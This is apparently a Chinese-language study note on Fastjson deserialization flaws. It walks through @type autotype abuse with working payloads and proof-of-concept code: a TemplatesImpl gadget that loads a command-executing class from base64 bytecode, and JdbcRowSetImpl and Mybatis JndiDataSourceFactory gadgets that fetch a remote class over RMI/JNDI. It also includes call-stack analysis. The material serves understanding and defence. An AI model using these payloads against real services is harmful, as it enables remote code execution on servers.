Fast JSON 反序列化安全
Fast JSON 反序列化安全漏洞
FastJSON 反序列化安全问题
fastjson 在序列化时,可采用 Feature.WirteClassName
来额外生成一个键值对: "@type":"ClassName"
;
当 fastjson 在反序列化时,在版本 \(1.27\) 之前,会自动读取该键值对并调用无参构造函数实例化该类型对象。
所以攻击者可以在输入的json数据中,添加 @type
字段,值为一个服务端可访问的全限定类名,并且在json数据中设置相应的属性,可以通过其无参构造函数进行利用,从而造成某种攻击效果。
序列化时,FastJson 通过 getter
(优先) 以及公有属性获取键值对;
反序列化时,如果通过 @type
键或者 Class
参数提供了类型信息,FastJson 通过 setter
、getter
以及公有属性(无 setter
或 getter
时)获取并设置字段;
注意:
如果即使 setter/getter 没有对应的属性,fastjson 也会认为是一个字段,其方法会被触发。可以通过
SerializerFeature.IgnoreNonFieldGetter
与SerializerFeature.IgnoreErrorGetter
来规避类似问题;另外 setter/getter 命名方式很宽松,大小写、字段前加
_
以及去除属性的开头的_
都可以被正确识别。
当提供 Feature.SupportNonPublicField
时,会通过反射获取字段,此时 getter
可能不会被调用;
注意:提供了
@type
键以及该Feature.SupportNonPublicField
,但却没有提供Class
参数,fastjson 尝试无参实例化生成该类型对象之后,会将其转化为JSONObject
,最终导致类型转换异常。
例:
public class MyObject {
public String getName(){
System.out.println("getName");
return "this is my name";
}
public long getID(){
System.out.println("getID");
return 1;
}
public void setName(String name){
System.out.println("setName");
}
}
@Test
public void getTest() {
String json = JSON.toJSONString(new MyObject(), SerializerFeature.WriteClassName);
System.out.println(json);
json = "{\"@type\":\"pojo.MyObject\",\"iD\":1,\"name\":\"this is my name\"}";
JSON.parseObject(json);
}
getID
getName
{"@type":"pojo.MyObject","iD":1,"name":"this is my name"}
setName
getID
getName
当然在反序列化时,通过
@type
键或者Class
参数提供了类型信息时,才会通过getter/setter
获取字段名。
TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在一个 getter
方法调用时会动态地加载字节码,并实例化对象,因此可以利用此类实现反序列化攻击。
payload:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64 encoded class file"],
"_name":"non.empty",
"_tfactory":{},
"_outputProperties":{}
}
PoC
命令执行恶意类:在实例化时执行命令。(也可以使用静态代码块,在类初始化时就开始执行)
package exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilExecutor extends AbstractTranslet {
{
try{
Process process = Runtime.getRuntime().exec(new String[]{"firefox"};);
process.waitFor();
System.out.println("end");
}catch(Exception e){
e.printStackTrace();
}
}
public EvilExecutor() throws Exception {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
}
演示代码:读取恶意类的编译好的字节码,经过base64编码后,构造json数据,并使用fastjson解析:
@Test
public void PoC() throws IOException {
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/EvilExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
System.out.println(data);
JSON.parseObject(data, Feature.SupportNonPublicField);
}
注意:对于byte数组,FastJSON 序列化时会进行Base64编码;反序列化时,如果确定了该字段为
byte
数组,这会尝试Base64解码。
json的键实际上就是 TemplatesImpl
的部分属性:
public final class TemplatesImpl implements Templates, Serializable {
static final long serialVersionUID = 673094361519270707L;
public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private Properties _outputProperties;
private int _indentNumber;
private transient URIResolver _uriResolver = null;
private transient ThreadLocal _sdom = new ThreadLocal();
private transient TransformerFactoryImpl _tfactory = null;
private transient boolean _overrideDefaultParser;
private transient String _accessExternalStylesheet = XalanConstants.EXTERNAL_ACCESS_DEFAULT;
过程分析
调用栈:
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
// 反射
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
// fastjson
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
PoC:29, PoCTest (expoit)
getOuputProperties
设置 _outputProperties
属性时,会调用 getOuputProperties
方法:
而 getOutputProperties
中又会实例化一个 TransformerImpl
:
其中一个参数调用了 getTransletInstance
方法:
注意:如果
this._name
为null
,该方法会直接返回null
,所以在构造json时需要添加该键:_name
;
defineTransletClasses
当 this._class
为 null
时, 会进入 this.defineTransletClasses
方法,生成一个 TransletClassLoader loader
;
最终会遍历 this._bytes
,并调用 loader.defineClass(_bytecode[i])
载入每一个相关类的字节码:
当从 this._bytes
载入了对应的类之后,便尝试从该类的Class对象获取其超类类型,当类名与字符串常量 ABSTRACT_TRANSLET
相等时,则会将 this._transletIndex
设为当前的 i
;否则只是将载入的Class对象存入 this._auxClasses
。
这也就是为什么恶意命令执行类要继承于
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,也就是ABSTRACT_TRANSLET
的值。
读取的字节码载入的类,最终会被写到 this._class
,一个Class数组中。
该方法返回后,最终调用 this._class[_transletIndex]
的 newInstance
方法,调用无参构造方法,生成一个新的实例:
注意:因为
this._transletIndex
在遍历载入的字节码时发生变动,所以生成的实例类的类型为最后一个有效的载入类。
此时,无参构造方法中的代码就会被调用。
局限性
由于方式涉及到私有属性的写入,只有在开启 Feature.SupportNonPublicField
的情况下才有效。
注意:
Feature.SupportNonPublicField
在 \(1.2.22\) 版本被引入。
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
:
该方式利用 JDNI
+ JdbcRowImpl
,所以需要JDNI注入所需条件。
payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
}
PoC
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/exec\", \"autoCommit\":true}";
JSON.parse(payload);
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
com.alibaba.fastjson.JSONException: set property error, autoCommit
过程分析
setAutoCommit
因为json数据中包含 autoCommit:true
,所以 fastjson 会调用 com.sun.rowset.JdbcRowSetImpl
#setAutoCommit
方法:
由于无参构造的属性 conn
是 null
,会先调用 connect
方法生成 Connection
实例后,再去调用 con.setAutocommit
。
connect
从这里可以看出,该方法通过 InitialContext
的 lookup
方法去加载 Datasource
实例,本身InittialContext
是支持jndi的,所以可以通过 getDataSourceName
的返回值为参数,来通过JNDI远程获取攻击者服务器上的恶意类资源。
而这个 getDataSourceName
实际上就是返回了 JdbcRowSetImpl
的属性 Sting dataSource
,所以可以通过在json中构造 dataSource: you/evil/class/location/using/jdni
,以在反序列化时获取资源,并执行构造方法。
jdbcRowSetImpl
的dataSource
以及getter\setter 继承于BaseRowSet
。
由于该方法中会将返回实例转换为 DataSource
,如果不希望抛出异常,需要让恶意类实现 javax.sql.DataSource
接口:
public interface DataSource extends CommonDataSource, Wrapper {
Connection getConnection() throws SQLException;
Connection getConnection(String username, String password)
throws SQLException;
}
局限性
该方法所需要的属性 autoCommit
、 dataSource
都有 public getter\setter
,反序列化时不需要 Feature.SupportNonPublicFields
。
但是需要依赖 JDNI,故对版本要求较高或者依靠特殊本地类绕开该限制。
第三方库
Mybatis
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
类,与 JdbcRowSetImpl
类似,也是通过 JNDI 远程加载恶意代码。
注意:
org.apache.ibatis.datasource
直到 \(1.2.46\) 才被入到DENY
(黑名单)。
payload:
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1:1099/exec"
}
}
PoC
public void mybatisTest(){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String payload = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"rmi://127.0.0.1:1099/exec\"\n" +
" }\n" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
源码:
package org.apache.ibatis.datasource.jndi;
import java.util.Map.Entry;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import org.apache.ibatis.datasource.DataSourceException;
import org.apache.ibatis.datasource.DataSourceFactory;
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String INITIAL_CONTEXT = "initial_context";
public static final String DATA_SOURCE = "data_source";
public static final String ENV_PREFIX = "env.";
private DataSource dataSource;
@Override
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
@Override
public DataSource getDataSource() {
return dataSource;
}
private static Properties getEnvProperties(Properties allProps) {
final String PREFIX = ENV_PREFIX;
Properties contextProperties = null;
for (Entry<Object, Object> entry : allProps.entrySet()) {
String key = (String) entry.getKey();
String value = (String) entry.getValue();
if (key.startsWith(PREFIX)) {
if (contextProperties == null) {
contextProperties = new Properties();
}
contextProperties.put(key.substring(PREFIX.length()), value);
}
}
return contextProperties;
}
}
估计当看到 DATA_SOURCE
属性、setProperties
方法以及 initCtx.lookup
就全懂了。
局限性
服务端得用到 Mybatis
相关组件,包括也受到JNDI利用限制。但好处是直到 \(1.2.46\) 版本才被加入黑名单。
参考: